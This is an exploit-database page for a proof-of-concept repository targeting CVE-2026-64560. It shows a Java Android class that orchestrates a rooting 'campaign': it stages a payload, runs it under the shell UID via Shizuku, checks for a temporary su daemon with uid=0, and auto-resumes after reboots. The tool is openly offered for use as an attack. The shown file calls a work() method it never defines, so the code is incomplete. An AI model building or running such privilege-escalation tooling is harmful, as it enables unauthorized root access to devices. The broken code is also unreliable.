Exploit database

GH-3e69e2c88abcb252c1d84d1c127cacee

totsiaw/cve-2026-64560-rmx6699

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

android/app/src/main/java/dev/illusionary/cve64560/Engine.java

Java · 7,464 bytes
package dev.illusionary.cve64560;

import android.content.Context;
import android.content.SharedPreferences;
import android.os.SystemClock;
import android.util.Log;

import java.io.File;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * Drives one campaign: stage the payload, run it with the shell UID, watch for
 * the temporary su daemon, optionally reboot and pick up again after boot.
 *
 * <p>This is the on-device equivalent of what
 * {@code cve64560 campaign -s <serial> -p payload -n 6} does over adb, with the
 * difference that it pushes the payload through Shizuku instead of a USB cable.
 * Every state transition is appended to an in-memory log that the UI polls.
 */
public final class Engine {

    public enum State { IDLE, DEPLOYING, RUNNING, WAITING, SUCCESS, FAILED, STOPPED }

    public static final Engine I = new Engine();

    public static final String EXPLOIT = "cve_2026_64560_adaptive";
    public static final String SU = "su";
    public static final long ATTEMPT_TIMEOUT_MS = 900_000L;

    private static final String TAG = "cve64560";
    private static final String PREFS = "cve64560";
    private static final int LOG_CAP = 4000;
    private static final Pattern ANSI = Pattern.compile("\u001B\\[[0-9;?]*[a-zA-Z]");
    private static final Pattern ROOT_UID = Pattern.compile("uid=0\\b");

    private final List<String> lines = new ArrayList<>();
    private final SimpleDateFormat clock = new SimpleDateFormat("HH:mm:ss", Locale.US);

    private volatile State state = State.IDLE;
    private volatile String backendLabel = "-";
    private volatile String stageDir = "-";
    private volatile String lastResult = "尚未运行";
    private volatile int attempt = 0;
    private volatile int maxAttempts = 6;
    private volatile boolean autoReboot = false;
    private volatile boolean tempRoot = false;
    private volatile boolean stopRequested = false;
    private volatile long startedAt = 0L;
    private volatile Process current;
    private volatile Backends.Backend backend;
    private Context appContext;

    private Engine() {
    }

    // ------------------------------------------------------------------ state

    public State state() {
        return state;
    }

    public boolean busy() {
        State value = state;
        return value == State.DEPLOYING || value == State.RUNNING || value == State.WAITING;
    }

    public boolean tempRoot() {
        return tempRoot;
    }

    public int attempt() {
        return attempt;
    }

    public int maxAttempts() {
        return maxAttempts;
    }

    public boolean autoReboot() {
        return autoReboot;
    }

    public String backendLabel() {
        return backendLabel;
    }

    public String stageDir() {
        return stageDir;
    }

    public String lastResult() {
        return lastResult;
    }

    public long startedAt() {
        return startedAt;
    }

    public List<String> snapshot() {
        synchronized (lines) {
            return new ArrayList<>(lines);
        }
    }

    public String stateText() {
        switch (state) {
            case DEPLOYING:
                return "部署载荷";
            case RUNNING:
                return "运行中";
            case WAITING:
                return "等待执行通道";
            case SUCCESS:
                return "已获得临时 root";
            case FAILED:
                return "未成功";
            case STOPPED:
                return "已停止";
            default:
                return "空闲";
        }
    }

    public synchronized void log(String message) {
        if (message == null) {
            return;
        }
        String cleaned = ANSI.matcher(message.replace("\r", "")).replaceAll("");
        for (String line : cleaned.split("\n")) {
            if (line.isEmpty()) {
                continue;
            }
            String entry = "[" + clock.format(new Date()) + "] " + line;
            synchronized (lines) {
                lines.add(entry);
                while (lines.size() > LOG_CAP) {
                    lines.remove(0);
                }
            }
        }
    }

    public void clearLog() {
        synchronized (lines) {
            lines.clear();
        }
    }

    // ------------------------------------------------------------------ prefs

    public static SharedPreferences prefs(Context context) {
        return context.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
    }

    public static boolean pending(Context context) {
        return prefs(context).getBoolean("pending", false);
    }

    private void save(Context context) {
        prefs(context).edit()
                .putBoolean("pending", pendingNow())
                .putInt("attempt", attempt)
                .putInt("maxAttempts", maxAttempts)
                .putBoolean("autoReboot", autoReboot)
                .apply();
    }

    private boolean pendingNow() {
        return autoReboot && !tempRoot && attempt < maxAttempts;
    }

    public void clearPending(Context context) {
        prefs(context).edit().putBoolean("pending", false).apply();
    }

    // ------------------------------------------------------------ entry points

    /** Fresh campaign started by the user. */
    public void start(Context context, int attempts, boolean autoRebootFlag) {
        if (busy()) {
            log("已有任务在运行");
            return;
        }
        maxAttempts = Math.max(1, Math.min(50, attempts));
        autoReboot = autoRebootFlag;
        attempt = 0;
        tempRoot = false;
        stopRequested = false;
        clearLog();
        log("== CVE-2026-64560 单次运行上限 " + (ATTEMPT_TIMEOUT_MS / 1000) + "s,"
                + "重启重试上限 " + maxAttempts + " 次,自动重启=" + (autoReboot ? "开" : "关"));
        launch(context);
    }

    /** Continuation after a reboot (BOOT_COMPLETED receiver or manual "继续"). */
    public void resume(Context context) {
        if (busy()) {
            return;
        }
        SharedPreferences sp = prefs(context);
        maxAttempts = sp.getInt("maxAttempts", 6);
        autoReboot = sp.getBoolean("autoReboot", false);
        attempt = sp.getInt("attempt", 0);
        tempRoot = false;
        stopRequested = false;
        log("== 开机后继续:已完成 " + attempt + "/" + maxAttempts + " 次");
        launch(context);
    }

    private void launch(Context context) {
        appContext = context.getApplicationContext();
        startedAt = System.currentTimeMillis();
        Thread worker = new Thread(() -> work(appContext), "cve64560-campaign");
        worker.setDaemon(true);
        worker.start();
    }

    public void stop() {
        stopRequested = true;
        State value = state;
        if (value == State.RUNNING || value == State.WAITING || value == State.DEPLOYING) {
            state = State.STOPPED;
        }
        log("已请求停止");
        Process process = current;
        if (process != null) {
            process.destroyForcibly();
        }
        if (appContext != null) {
            clearPending(appContext);
        }
    }
}